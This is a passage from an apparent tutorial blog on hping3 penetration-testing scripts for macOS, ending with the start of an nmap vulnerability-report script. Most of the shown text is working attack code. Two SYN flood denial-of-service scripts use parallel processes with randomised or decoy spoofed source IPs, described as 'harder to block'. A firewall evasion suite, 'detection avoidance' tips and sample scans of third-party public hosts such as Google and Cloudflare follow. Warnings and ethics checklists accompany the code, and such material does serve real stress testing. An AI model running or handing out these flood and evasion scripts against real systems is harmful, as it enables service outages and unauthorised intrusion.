                local batch_size=10
                local sent=0
                
                while [ $sent -lt $current_packets ]; do
                    local remaining=$((current_packets - sent))
                    local this_batch=$((remaining < batch_size ? remaining : batch_size))
                    local source_ip=$(generate_random_ip_from_cidr "$source_cidr")
                    
                    hping3 -S -p $port -a $source_ip -c $this_batch --flood $target >> "$log_dir/process_$i.log" 2>&1
                    sent=$((sent + this_batch))
                done
            else
                # Use completely random source IPs
                echo "Using random source IPs" >> "$log_dir/process_$i.log"
                hping3 -S -p $port --rand-source -c $current_packets --flood $target >> "$log_dir/process_$i.log" 2>&1
            fi
            
            echo "Process $i completed at $(date)" >> "$log_dir/process_$i.log"
            echo "✅ Process $i completed ($current_packets packets sent)"
        ) &
        
        pids+=($!)
    done
    
    echo "⏳ Waiting for all processes to complete..."
    echo "💡 You can monitor progress with: tail -f $log_dir/process_*.log"
    
    # Wait for all processes and show progress
    local completed=0
    while [ $completed -lt $processes ]; do
        completed=0
        for pid in "${pids[@]}"; do
            if ! kill -0 $pid 2>/dev/null; then
                ((completed++))
            fi
        done
        
        echo "📈 Progress: $completed/$processes processes completed"
        sleep 2
    done
    
    echo "🎯 SYN flood attack completed!"
    echo "📋 Logs saved in: $log_dir"
    echo "🧹 Clean up logs with: rm -rf $log_dir"
}

# Check if script is being sourced or executed directly
if [[ "${(%):-%x}" == "${0}" ]]; then
    syn_flood_attack "$@"
fi
EOF

chmod +x ~/hping3-scripts/syn_flood_attack.sh

How to Run:

# Basic Usage Syntax:
./syn_flood_attack.sh <target> <port> <packet_count> <processes>

# 1. Test against a local test server (SAFE)
# Send 1000 SYN packets to localhost port 8080 using 4 parallel processes
./syn_flood_attack.sh localhost 8080 1000 4

# 2. Test your own web server
# Send 5000 packets to your own server on port 80 using 10 processes
./syn_flood_attack.sh your-test-server.com 80 5000 10

# 3. Small-scale test
# Send only 100 packets using 2 processes for minimal testing
./syn_flood_attack.sh 127.0.0.1 3000 100 2

# 4. Stress test with more packets
# Send 10000 packets to port 443 using 20 parallel processes
./syn_flood_attack.sh test.example.local 443 10000 20

# 5. Create a random decoy attack using ip addresses from a specified CIDR block
./syn_flood_attack.sh target.com 80 1000 4 192.168.0.0/16
./syn_flood_attack.sh target.com 80 1000 4 10.0.0.0/8

# Parameters:
# <target>: IP address or hostname (localhost, 192.168.1.100, test-server.local)
# <port>: Target port number (80 for HTTP, 443 for HTTPS, 22 for SSH)
# <packet_count>: Total number of SYN packets to send (1000, 5000, etc.)
# <processes>: Number of parallel hping3 processes to use (4, 10, etc.)

Example Output:

 ./syn_flood_attack.sh localhost 8080 1000 4

==========================================
           SYN FLOOD ATTACK
==========================================
Target: localhost:8080
Total packets: 1000
Processes: 4
Packets per process: 250

⚠️  WARNING: This will perform a SYN flood attack!
⚠️  Only use on systems you own or have explicit permission to test!
⚠️  Unauthorized DoS attacks are illegal!

Do you have authorization to test this target? (type 'YES' to continue): YES
✅ Starting SYN flood with 4 processes...
📊 Monitor system resources during attack
🚀 Starting process 1 with 250 packets
🚀 Starting process 2 with 250 packets
🚀 Starting process 3 with 250 packets
🚀 Starting process 4 with 250 packets
⏳ Waiting for all processes to complete...
💡 You can monitor progress with: tail -f /tmp/syn_flood_20250923_114710/process_*.log

Safety Features:
– Explicit authorization confirmation required
– Process monitoring and logging
– Progress tracking with visual indicators
– Automatic log cleanup instructions

Parameters Explained:
**target**: Target hostname/IP address
**port**: Target port number
**packet_count**: Total packets to send
**processes**: Number of parallel processes

Script 9: Comprehensive Network Discovery

Purpose:
Performs comprehensive network discovery combining ICMP and TCP techniques to map active hosts and services across a network range.

Create the Script:

cat > ~/hping3-scripts/network_discovery.sh << 'EOF'
#!/bin/zsh

network_discovery() {
    local network=$1
    local start_ip=${2:-1}
    local end_ip=${3:-254}
    local test_ports=${4:-"22,80,443"}
    
    if [ -z "$network" ]; then
        echo "Usage: network_discovery <network> [start_ip] [end_ip] [test_ports]"
        echo "Example: network_discovery 192.168.1 1 100 '22,80,443,8080'"
        return 1
    fi
    
    echo "🔍 Comprehensive Network Discovery"
    echo "=================================="
    echo "Network: $network.$start_ip-$end_ip"
    echo "Test ports: $test_ports"
    echo ""
    
    # Create results directory
    local results_dir="/tmp/network_discovery_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$results_dir"
    
    # Phase 1: ICMP Discovery
    echo "📡 Phase 1: ICMP Host Discovery"
    echo "==============================="
    local icmp_results="$results_dir/icmp_results.txt"
    
    for i in $(seq $start_ip $end_ip); do
        (hping3 -1 -c 1 $network.$i 2>&1 | grep -E "(bytes from|icmp.*seq=)" && echo "$network.$i" >> "$icmp_results") &
        
        # Limit concurrent processes on macOS
        if (( i % 20 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$icmp_results" ]; then
        echo "✅ ICMP-responsive hosts:"
        cat "$icmp_results" | while read host; do
            echo "  - $host [ICMP]"
        done
    else
        echo "❌ No ICMP-responsive hosts found"
    fi
    
    echo ""
    
    # Phase 2: TCP Discovery
    echo "🚪 Phase 2: TCP Port Discovery"
    echo "=============================="
    local tcp_results="$results_dir/tcp_results.txt"
    
    # Zsh-compatible array splitting
    PORT_ARRAY=(${(s:,:)test_ports})
    
    for i in $(seq $start_ip $end_ip); do
        for port in "${PORT_ARRAY[@]}"; do
            (hping3 -S -p $port -c 1 $network.$i 2>&1 | grep "flags=SA" && echo "$network.$i:$port" >> "$tcp_results") &
        done
        
        # Limit concurrent processes
        if (( i % 10 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$tcp_results" ]; then
        echo "✅ TCP-responsive hosts and ports:"
        cat "$tcp_results" | while read host_port; do
            echo "  - $host_port [TCP]"
        done
    else
        echo "❌ No TCP-responsive hosts found"
    fi
    
    echo ""
    echo "📊 Discovery Summary"
    echo "==================="
    echo "Results saved in: $results_dir"
    echo "ICMP hosts: $([ -s "$icmp_results" ] && wc -l < "$icmp_results" || echo 0)"
    echo "TCP services: $([ -s "$tcp_results" ] && wc -l < "$tcp_results" || echo 0)"
    echo ""
    echo "🧹 Clean up with: rm -rf $results_dir"
}

# Zsh-compatible check for direct execution
if [[ "${(%):-%N}" == "${0}" ]] || [[ "$ZSH_EVAL_CONTEXT" == "toplevel" ]]; then
    network_discovery "$@"
fi
EOF

chmod +x ~/hping3-scripts/network_discovery.sh

How to Run:

# Basic Usage - Scan entire subnet with default ports (22,80,443)
./network_discovery.sh 192.168.1

# Scan specific IP across a port range
./network_discovery.sh 192.168.1 1 50

# Scan specific IP using a custom port list
./network_discovery.sh 192.168.1 1 100 '22,80,443,8080,3306'

# Home Network Scans
./network_discovery.sh 192.168.1 1 20 '80,443'                    # Router and devices
./network_discovery.sh 192.168.0 1 30 '22,80,443,8080'           # Alternative subnet
./network_discovery.sh 10.0.0 1 50 '22,80,443,3389,445'          # Corporate network range

# Service-Specific Discovery
./network_discovery.sh 192.168.1 1 254 '80,443,8080,8443'        # Web servers only
./network_discovery.sh 192.168.1 1 100 '22'                       # SSH servers only
./network_discovery.sh 10.0.0 1 50 '3306,5432,27017,6379'        # Database servers
./network_discovery.sh 192.168.1 1 100 '445,3389,139'            # Windows machines
./network_discovery.sh 192.168.1 1 50 '3000,5000,8000,9000'      # Dev servers

# Quick Targeted Scans
./network_discovery.sh 192.168.1 1 10                             # First 10 IPs, default ports
./network_discovery.sh 192.168.1 100 100 '21,22,23,25,80,110,443,445,3306,3389,5900,8080'  # Single host, many ports
./network_discovery.sh 172.16.0 1 30 '80,443'                    # Fast web discovery

# Your Local Network (based on your IP: 10.223.23.133)
./network_discovery.sh 10.223.23 130 140 '22,80,443'             # Scan near your IP
./network_discovery.sh 10.223.23 1 254 '80,443'                  # Full subnet web scan
./network_discovery.sh 10.223.23 133 133 '1-65535'               # Scan all ports on your IP

# Localhost Testing
./network_discovery.sh 127.0.0 1 1 '22,80,443,3000,8080'         # Test on localhost

# Advanced Usage with sudo (for better ICMP results)
sudo ./network_discovery.sh 192.168.1 1 50
sudo ./network_discovery.sh 10.223.23 130 140 '22,80,443,8080'

# Comprehensive port scan
./network_discovery.sh 192.168.1 1 20 '21,22,23,25,53,80,110,143,443,445,993,995,1433,3306,3389,5432,5900,6379,8080,8443,27017'

# Chain with other commands
./network_discovery.sh 192.168.1 1 10 && echo "Scan complete"
./network_discovery.sh 192.168.1 1 20 '22' | tee scan_results.txt

# View and manage results
ls -la /tmp/network_discovery_*                                   # List all scan results
cat /tmp/network_discovery_*/icmp_results.txt                     # View ICMP results
cat /tmp/network_discovery_*/tcp_results.txt                      # View TCP results
rm -rf /tmp/network_discovery_*                                   # Clean up all results

### LOCAL MACHINE EXAMPLE
# Targeting your local machine and common services. Let me first check what services are running on your machine:
netstat -an | grep LISTEN | grep -E '\.([0-9]+)\s' | awk '{print $4}' | sed 's/.*\.//' | sort -u | head -20
18313
5000
53
55296
61611
65535
7000
9000
9010
9277

### Check your actual IP address to create working examples:
ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' | head -1
10.223.23.133
### Now let's test with your actual IP and the ports that are listening. Note that hping3 often needs sudo privileges for proper ICMP and TCP SYN scanning:
sudo ./network_discovery.sh 10.223.23 133 133 '5000,7000,9000,9010,53'


### EXAMPLES THAT WILL RETURN SUCCESSFUL RESULTS

# 1. Scan Google's servers (known to respond)
sudo ./network_discovery.sh 142.251.216 78 78 '80,443'
sudo ./network_discovery.sh 142.251.216 1 10 '80,443'

# 2. Scan Cloudflare DNS (highly available)
sudo ./network_discovery.sh 1.1.1 1 1 '53,80,443'
sudo ./network_discovery.sh 1.0.0 1 1 '53,80,443'

# 3. Scan popular DNS servers
sudo ./network_discovery.sh 8.8.8 8 8 '53,443'              # Google DNS
sudo ./network_discovery.sh 8.8.4 4 4 '53,443'              # Google DNS secondary
sudo ./network_discovery.sh 208.67.222 222 222 '53,443'     # OpenDNS

# 4. Scan your local gateway (should respond on some ports)
sudo ./network_discovery.sh 10.223.22 1 1 '80,443,22,53,8080'

# 5. Scan your local subnet for common services
sudo ./network_discovery.sh 10.223.23 1 10 '22,80,443,445,3389,5900'
sudo ./network_discovery.sh 10.223.23 130 140 '80,443,22,3389'

# 6. Quick test with well-known servers
sudo ./network_discovery.sh 93.184.216 34 34 '80,443'      # example.com
sudo ./network_discovery.sh 104.17.113 106 106 '80,443'    # Cloudflare IP

# 7. Scan for web servers in your network
sudo ./network_discovery.sh 10.223.23 1 254 '80,443'

# 8. Multiple reliable targets in one scan
sudo ./network_discovery.sh 1.1.1 1 2 '53,80,443'          # Cloudflare DNS range

# 9. Test against localhost services (based on your running ports)
sudo ./network_discovery.sh 127.0.0 1 1 '5000,7000,9000,9010,53'

# 10. Comprehensive scan of known responsive range
sudo ./network_discovery.sh 142.251.216 70 80 '80,443,22'

Parameters Explained:
**network** (required): Network base (e.g., “192.168.1”)
**start_ip** (optional, default: 1): Starting host number
**end_ip** (optional, default: 254): Ending host number
**test_ports** (optional, default: “22,80,443”): Comma-separated port list

Discovery Phases:
1. **ICMP Discovery**: Tests basic connectivity with ping
2. **TCP Discovery**: Tests specific services on each host
3. **Results Analysis**: Provides comprehensive summary

Script 10: Firewall Evasion Test Suite

Purpose:
Performs a comprehensive battery of firewall evasion techniques to test security controls and identify potential bypass methods.

Create the Script:


cat > ~/hping3-scripts/firewall_evasion_test.sh << 'EOF'
#!/bin/zsh

firewall_evasion_test() {
    local target=$1
    local port=${2:-80}
    
    if [ -z "$target" ]; then
        echo "Usage: firewall_evasion_test  [port]"
        echo "Example: firewall_evasion_test example.com 443"
        return 1
    fi
    
    echo "🛡️ Comprehensive Firewall Evasion Test Suite"
    echo "============================================="
    echo "Target: $target:$port"
    echo "Testing multiple evasion techniques..."
    echo ""
    
    # Test 1: Normal SYN scan (baseline)
    echo "🔍 Test 1: Normal SYN Scan (Baseline)"
    echo "====================================="
    result1=$(hping3 -S -p $port -c 1 $target 2>&1)
    echo "$result1"
    if echo "$result1" | grep -q "flags=SA"; then
        echo "✅ BASELINE: Port appears OPEN"
    else
        echo "❌ BASELINE: Port appears CLOSED/FILTERED"
    fi
    echo ""
    
    # Test 2: Source port 53 (DNS)
    echo "🔍 Test 2: DNS Source Port Spoofing (53)"
    echo "========================================"
    result2=$(hping3 -S -p $port -s 53 -c 1 $target 2>&1)
    echo "$result2"
    if echo "$result2" | grep -q "flags=SA"; then
        echo "✅ DNS SPOOF: Bypass successful!"
    else
        echo "❌ DNS SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 3: Source port 20 (FTP-DATA)
    echo "🔍 Test 3: FTP-DATA Source Port Spoofing (20)"
    echo "=============================================="
    result3=$(hping3 -S -p $port -s 20 -c 1 $target 2>&1)
    echo "$result3"
    if echo "$result3" | grep -q "flags=SA"; then
        echo "✅ FTP SPOOF: Bypass successful!"
    else
        echo "❌ FTP SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 4: Fragmented packets
    echo "🔍 Test 4: Packet Fragmentation"
    echo "==============================="
    result4=$(hping3 -S -p $port -f -c 1 $target 2>&1)
    echo "$result4"
    if echo "$result4" | grep -q "flags=SA"; then
        echo "✅ FRAGMENTATION: Bypass successful!"
    else
        echo "❌ FRAGMENTATION: No bypass detected"
    fi
    echo ""
    
    # Test 5: FIN scan
    echo "🔍 Test 5: FIN Scan Evasion"
    echo "==========================="
    result5=$(hping3 -F -p $port -c 1 $target 2>&1)
    echo "$result5"
    if ! echo "$result5" | grep -q "flags=R" && ! echo "$result5" | grep -q "ICMP"; then
        echo "✅ FIN SCAN: Potential bypass (no response)"
    else
        echo "❌ FIN SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 6: NULL scan
    echo "🔍 Test 6: NULL Scan Evasion"
    echo "============================"
    result6=$(hping3 -p $port -c 1 $target 2>&1)
    echo "$result6"
    if ! echo "$result6" | grep -q "flags=R" && ! echo "$result6" | grep -q "ICMP"; then
        echo "✅ NULL SCAN: Potential bypass (no response)"
    else
        echo "❌ NULL SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 7: XMAS scan
    echo "🔍 Test 7: XMAS Scan Evasion"
    echo "============================"
    result7=$(hping3 -F -P -U -p $port -c 1 $target 2>&1)
    echo "$result7"
    if ! echo "$result7" | grep -q "flags=R" && ! echo "$result7" | grep -q "ICMP"; then
        echo "✅ XMAS SCAN: Potential bypass (no response)"
    else
        echo "❌ XMAS SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 8: Random source addresses
    echo "🔍 Test 8: Random Source Address"
    echo "================================"
    result8=$(hping3 -S -p $port --rand-source -c 3 $target 2>&1)
    echo "$result8"
    if echo "$result8" | grep -q "flags=SA"; then
        echo "✅ RANDOM SOURCE: Bypass successful!"
    else
        echo "❌ RANDOM SOURCE: No bypass detected"
    fi
    echo ""
    
    # Summary
    echo "📊 Evasion Test Summary"
    echo "======================="
    echo "Target: $target:$port"
    echo "Tests completed: 8"
    echo ""
    echo "Potential bypasses detected:"
    [[ "$result2" =~ "flags=SA" ]] && echo "  ✅ DNS source port spoofing"
    [[ "$result3" =~ "flags=SA" ]] && echo "  ✅ FTP-DATA source port spoofing"
    [[ "$result4" =~ "flags=SA" ]] && echo "  ✅ Packet fragmentation"
    [[ ! "$result5" =~ "flags=R" && ! "$result5" =~ "ICMP" ]] && echo "  ✅ FIN scan stealth"
    [[ ! "$result6" =~ "flags=R" && ! "$result6" =~ "ICMP" ]] && echo "  ✅ NULL scan stealth"
    [[ ! "$result7" =~ "flags=R" && ! "$result7" =~ "ICMP" ]] && echo "  ✅ XMAS scan stealth"
    [[ "$result8" =~ "flags=SA" ]] && echo "  ✅ Random source addressing"
    
    echo ""
    echo "🔒 Recommendations:"
    echo "  - Review firewall rules for source port filtering"
    echo "  - Enable stateful packet inspection"
    echo "  - Configure fragment reassembly"
    echo "  - Monitor for stealth scan patterns"
}

if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    firewall_evasion_test "$@"
fi
EOF

chmod +x ~/hping3-scripts/firewall_evasion_test.sh

How to Run:


# Test firewall evasion on port 80
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com

# Test firewall evasion on HTTPS port
sudo ~/hping3-scripts/firewall_evasion_test.sh example.com 443

Evasion Techniques Tested:
1. **Baseline SYN scan**: Normal connection attempt
2. **DNS source port spoofing**: Uses port 53 as source
3. **FTP-DATA source port spoofing**: Uses port 20 as source
4. **Packet fragmentation**: Splits packets to evade inspection
5. **FIN scan**: Uses FIN flag for stealth
6. **NULL scan**: No flags set for evasion
7. **XMAS scan**: Multiple flags for confusion
8. **Random source addressing**: Obscures attack origin

Important Usage Notes:

macOS-Specific Considerations:
– **Root privileges required**: Most scripts need `sudo` for raw socket access
– **Process limits**: macOS limits concurrent processes, scripts include throttling
– **Firewall interference**: macOS firewall may block outgoing packets
– **Network interfaces**: Scripts auto-detect primary interface

Performance Optimization:
– Use appropriate delays to avoid overwhelming targets
– Limit concurrent processes on macOS (typically 20-50)
– Monitor system resources during intensive scans
– Use temporary files for result collection

Detection Avoidance:

# Slow scanning to avoid detection
sudo ~/hping3-scripts/tcp_syn_scan.sh example.com 1 100 5

# Random timing patterns
sudo ~/hping3-scripts/source_port_scan.sh example.com 80 53 1

Integration with Other Tools:

# Combine with nmap for verification
sudo ~/hping3-scripts/common_ports_scan.sh example.com
nmap -sS example.com

# Use with tcpdump for packet analysis
sudo tcpdump -i en0 host example.com &
sudo ~/hping3-scripts/tcp_syn_ping.sh example.com

# Solution: Use sudo for raw socket access
sudo ~/hping3-scripts/script_name.sh

Command Not Found:


# Solution: Verify hping3 installation
brew install hping
which hping3

Network Interface Issues:


# Solution: Specify interface manually
hping3 -I en0 -S -p 80 example.com

Script Debugging:


# Enable verbose output
set -x
source ~/hping3-scripts/script_name.sh

# Check script syntax
zsh -n ~/hping3-scripts/script_name.sh

Legal and Ethical Guidelines:

Before You Begin:
– ✅ Obtain written authorization from system owners
– ✅ Define clear scope and boundaries
– ✅ Establish communication channels
– ✅ Plan for incident response
– ✅ Document all activities

During Testing:
– 🔍 Monitor system impact continuously
– ⏸️ Stop immediately if unauthorized access is gained
– 📝 Document all findings and methods
– 🚫 Do not access or modify data
– ⚠️ Report critical vulnerabilities promptly

After Testing:
– 📋 Provide comprehensive reports
– 🗑️ Securely delete all collected data
– 🤝 Follow responsible disclosure practices
– 📚 Share lessons learned (with permission)

Conclusion

This comprehensive hping3 guide provides 10 essential penetration testing scripts specifically optimized for macOS systems. Each script includes detailed explanations, parameter descriptions, and practical examples using example.com as the target.

Key Takeaways:
– **Authorization is mandatory** – Never test without explicit permission
– **macOS optimization** – Scripts include platform-specific considerations
– **Comprehensive coverage** – From basic discovery to advanced evasion
– **Safety features** – Built-in protections and confirmation prompts
– **Educational value** – Detailed explanations for learning

Next Steps:
1. Set up your macOS environment with the installation steps
2. Create the script directory and download the scripts
3. Practice on authorized targets or lab environments
4. Integrate with other security tools for comprehensive testing
5. Develop your own custom scripts based on these examples

Remember: These tools are powerful and should be used responsibly. Always prioritize ethical considerations and legal compliance in your security testing activities.

Official Documentation:
– [hping3 Official Website](http://www.hping.org/)
– [hping3 Manual Page](https://linux.die.net/man/8/hping3)

Related Tools:
– **nmap**: Network discovery and port scanning
– **masscan**: High-speed port scanner
– **zmap**: Internet-wide network scanner
– **tcpdump**: Packet capture and analysis

Learning Resources:
– OWASP Testing Guide
– NIST Cybersecurity Framework
– CEH (Certified Ethical Hacker) materials
– OSCP (Offensive Security Certified Professional) training

Script Summary Table:

| Script | Purpose | Key Features |
|——–|———|————–|
| `icmp_ping.sh` | Basic host discovery | ICMP connectivity testing |
| `icmp_sweep.sh` | Network enumeration | Bulk host discovery |
| `tcp_syn_ping.sh` | Firewall-resistant discovery | TCP-based host detection |
| `tcp_syn_scan.sh` | Port scanning | Stealth SYN scanning |
| `common_ports_scan.sh` | Service discovery | Predefined port lists |
| `fin_scan.sh` | Stealth scanning | FIN flag evasion |
| `source_port_scan.sh` | Firewall bypass | Source port spoofing |
| `syn_flood_attack.sh` | DoS testing | Multi-process flooding |
| `network_discovery.sh` | Comprehensive recon | Combined techniques |
| `firewall_evasion_test.sh` | Security testing | Multiple evasion methods |

This guide provides everything needed to perform professional-grade penetration testing with hping3 on macOS systems while maintaining ethical and legal standards.

Testing your sites SYN flood resistance using hping3 in parallel

A SYN flood test using hping3 that allows you to specify the number of SYN packets to send and scales horizontally with a specific number of processes can be created using a Bash script with the xargs command. This approach allows you to distribute the workload across multiple processes for better performance.

The Script

This script uses hping3 to perform a SYN flood attack with a configurable packet count and number of parallel processes.

cat > ./syn_flood_parallel.sh << 'EOF'
#!/bin/bash

# A simple script to perform a SYN flood test using hping3,
# with configurable packet count, parallel processes, and optional source IP randomization.

# --- Configuration ---
TARGET_IP=$1
TARGET_PORT=$2
PACKET_COUNT_TOTAL=$3
PROCESSES=$4
RANDOMIZE_SOURCE=${5:-true}  # Default to true if not specified

# --- Usage Message ---
if [ -z "$TARGET_IP" ] || [ -z "$TARGET_PORT" ] || [ -z "$PACKET_COUNT_TOTAL" ] || [ -z "$PROCESSES" ]; then
    echo "Usage: $0 <TARGET_IP> <TARGET_PORT> <PACKET_COUNT_TOTAL> <PROCESSES> [RANDOMIZE_SOURCE]"
    echo ""
    echo "Parameters:"
    echo "  TARGET_IP           - Target IP address or hostname"
    echo "  TARGET_PORT         - Target port number (1-65535)"
    echo "  PACKET_COUNT_TOTAL  - Total number of SYN packets to send"
    echo "  PROCESSES           - Number of parallel processes (2-10 recommended)"
    echo "  RANDOMIZE_SOURCE    - true/false (optional, default: true)"
    echo ""
    echo "Examples:"
    echo "  $0 192.168.1.1 80 100000 4           # With randomized source IPs (default)"
    echo "  $0 192.168.1.1 80 100000 4 true      # Explicitly enable source IP randomization"
    echo "  $0 192.168.1.1 80 100000 4 false     # Use actual source IP (no randomization)"
    exit 1
fi

# --- Main Logic ---
echo "========================================"
echo "Starting SYN flood test on $TARGET_IP:$TARGET_PORT"
echo "Sending $PACKET_COUNT_TOTAL SYN packets with $PROCESSES parallel processes."
echo "Source IP randomization: $RANDOMIZE_SOURCE"
echo "========================================"

# Calculate packets per process
PACKETS_PER_PROCESS=$((PACKET_COUNT_TOTAL / PROCESSES))

# Build hping3 command based on randomization option
if [ "$RANDOMIZE_SOURCE" = "true" ]; then
    echo "Using randomized source IPs (--rand-source)"
    # Use seq and xargs to parallelize the hping3 command with random source IPs
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --rand-source --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
else
    echo "Using actual source IP (no randomization)"
    # Use seq and xargs to parallelize the hping3 command without source randomization
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
fi

echo ""
echo "========================================"
echo "SYN flood test complete."
echo "Total packets sent: $PACKET_COUNT_TOTAL"
echo "========================================"

EOF

chmod +x ./syn_flood_parallel.sh

Example Usauge:

# Default behavior - randomized source IPs (parameter 5 defaults to true)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4

# Explicitly enable source IP randomization
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 true

# Disable source IP randomization (use actual source IP)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 false

# High-volume test with randomized IPs
./syn_flood_parallel.sh example.com 443 100000 8 true

# Test without IP randomization (easier to trace/debug)
./syn_flood_parallel.sh testserver.local 22 5000 2 false

Explanation of the Parameters:

Parameter 1: TARGET_IP

  • The target IP address or hostname
  • Examples: 192.168.1.1, example.com, 10.0.0.5

Parameter 2: TARGET_PORT

  • The target port number (1-65535)
  • Common: 80 (HTTP), 443 (HTTPS), 22 (SSH), 8080

Parameter 3: PACKET_COUNT_TOTAL

  • Total number of SYN packets to send
  • Range: Any positive integer (e.g., 1000 to 1000000)

Parameter 4: PROCESSES

  • Number of parallel hping3 processes to spawn
  • Recommended: 2-10 (depending on CPU cores)

Parameter 5: RANDOMIZE_SOURCE (OPTIONAL)

  • true: Use randomized source IPs (–rand-source flag)
    Makes packets appear from random IPs, harder to block
  • false: Use actual source IP (no randomization)
    Easier to trace and debug, simpler firewall rules
  • Default: true (if parameter not specified)

Important Considerations ⚠️

• Permissions: hping3 requires root or superuser privileges to craft and send raw packets. You’ll need to run this script with sudo.

• Legal and Ethical Use: This tool is for ethical and educational purposes only. Using this script to perform a SYN flood attack on a network or system you do not own or have explicit permission to test is illegal. Use it in a controlled lab environment.

Macbook: Useful/Basic NMAP script to check for vulnerabilities and create a formatted report

If you want to quickly health check your website, then the following script is a simple NMAP script that scans your site for common issues and formats the results in a nice report style.

#!/bin/bash

# Nmap Vulnerability Scanner with Severity Grouping, TLS checks, and Directory Discovery
# Usage: ./vunscan.sh <target_domain>

# Colors for output
RED='\033[0;31m'
ORANGE='\033[0;33m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color

# Check if target is provided
if [ $# -eq 0 ]; then
    echo "Usage: $0 <target_domain>"
    echo "Example: $0 example.com"
    exit 1
fi

TARGET=$1
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
OUTPUT_DIR="vuln_scan_${TARGET}_${TIMESTAMP}"
RAW_OUTPUT="${OUTPUT_DIR}/raw_scan.xml"
OPEN_PORTS=""

# Debug output
echo "DEBUG: TARGET=$TARGET"
echo "DEBUG: TIMESTAMP=$TIMESTAMP"
echo "DEBUG: OUTPUT_DIR=$OUTPUT_DIR"
echo "DEBUG: RAW_OUTPUT=$RAW_OUTPUT"

# Create output directory
mkdir -p "$OUTPUT_DIR"
if [ ! -d "$OUTPUT_DIR" ]; then
    echo -e "${RED}Error: Failed to create output directory $OUTPUT_DIR${NC}"
    exit 1
fi

echo "================================================================"
echo "         Vulnerability Scanner for $TARGET"
echo "================================================================"
echo "Scan started at: $(date)"
echo "Results will be saved in: $OUTPUT_DIR"
echo ""

# Function to print section headers
print_header() {
    echo -e "\n${BLUE}================================================================${NC}"
    echo -e "${BLUE}$1${NC}"
    echo -e "${BLUE}================================================================${NC}"
}

# Function to run nmap scan
run_scan() {
    print_header "Running Comprehensive Vulnerability Scan"
    echo "This may take several minutes…"
    
    # First, determine which ports are open
    echo "Phase 1: Port discovery..."
    echo "Scanning for open ports (this may take a while)..."
    
    # Try a faster scan first on common ports
    nmap -p 1-1000,8080,8443,3306,5432,27017 --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null
    
    # If user wants full scan, uncomment the next line and comment the previous one
    # nmap -p- --open -T4 "$TARGET" -oG "${OUTPUT_DIR}/open_ports.txt" 2>/dev/null
    
    # Extract open ports
    if [ -f "${OUTPUT_DIR}/open_ports_quick.txt" ]; then
        OPEN_PORTS=$(grep -oE '[0-9]+/open' "${OUTPUT_DIR}/open_ports_quick.txt" 2>/dev/null | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//')
    fi
    
    # If no ports found, try common web ports
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports found in quick scan. Checking common web ports...${NC}"
        
        # Test common ports individually
        COMMON_PORTS="80,443,8080,8443,22,21,25,3306,5432"
        OPEN_PORTS=""
        
        for port in $(echo $COMMON_PORTS | tr ',' ' '); do
            echo -n "Testing port $port... "
            if nmap -p $port --open "$TARGET" 2>/dev/null | grep -q "open"; then
                echo "open"
                if [ -z "$OPEN_PORTS" ]; then
                    OPEN_PORTS="$port"
                else
                    OPEN_PORTS="$OPEN_PORTS,$port"
                fi
            else
                echo "closed/filtered"
            fi
        done
    fi
    
    # Final fallback
    if [ -z "$OPEN_PORTS" ] || [ "$OPEN_PORTS" = "" ]; then
        echo -e "${YELLOW}Warning: No open ports detected. Using default web ports for scanning.${NC}"
        OPEN_PORTS="80,443"
    fi
    
    echo ""
    echo "Ports to scan: $OPEN_PORTS"
    echo ""
    
    # Main vulnerability scan with http-vulners-regex
    echo "Phase 2: Vulnerability scanning..."
    nmap -sV -sC --script vuln,http-vulners-regex \
         --script-args vulns.showall,http-vulners-regex.paths={/} \
         -p "$OPEN_PORTS" \
         -oX "$RAW_OUTPUT" \
         -oN "${OUTPUT_DIR}/scan_normal.txt" \
         "$TARGET"
    
    if [ $? -ne 0 ]; then
        echo -e "${RED}Error: Nmap scan failed${NC}"
        # Don't exit, continue with other scans
    fi
}

# Function to parse and categorize vulnerabilities
parse_vulnerabilities() {
    print_header "Parsing and Categorizing Vulnerabilities"
    
    # Initialize arrays
    declare -a critical_vulns=()
    declare -a high_vulns=()
    declare -a medium_vulns=()
    declare -a low_vulns=()
    declare -a info_vulns=()
    
    # Create temporary files for each severity
    CRITICAL_FILE="${OUTPUT_DIR}/critical.tmp"
    HIGH_FILE="${OUTPUT_DIR}/high.tmp"
    MEDIUM_FILE="${OUTPUT_DIR}/medium.tmp"
    LOW_FILE="${OUTPUT_DIR}/low.tmp"
    INFO_FILE="${OUTPUT_DIR}/info.tmp"
    
    # Clear temp files
    > "$CRITICAL_FILE"
    > "$HIGH_FILE"
    > "$MEDIUM_FILE"
    > "$LOW_FILE"
    > "$INFO_FILE"
    
    # Parse XML output for vulnerabilities
    if [ -f "$RAW_OUTPUT" ]; then
        # Extract script output and categorize by common vulnerability indicators
        grep -A 20 '<script id=".*vuln.*"' "$RAW_OUTPUT" | while read line; do
            if echo "$line" | grep -qi "CRITICAL\|CVE.*CRITICAL\|score.*9\|score.*10"; then
                echo "$line" >> "$CRITICAL_FILE"
            elif echo "$line" | grep -qi "HIGH\|CVE.*HIGH\|score.*[7-8]"; then
                echo "$line" >> "$HIGH_FILE"
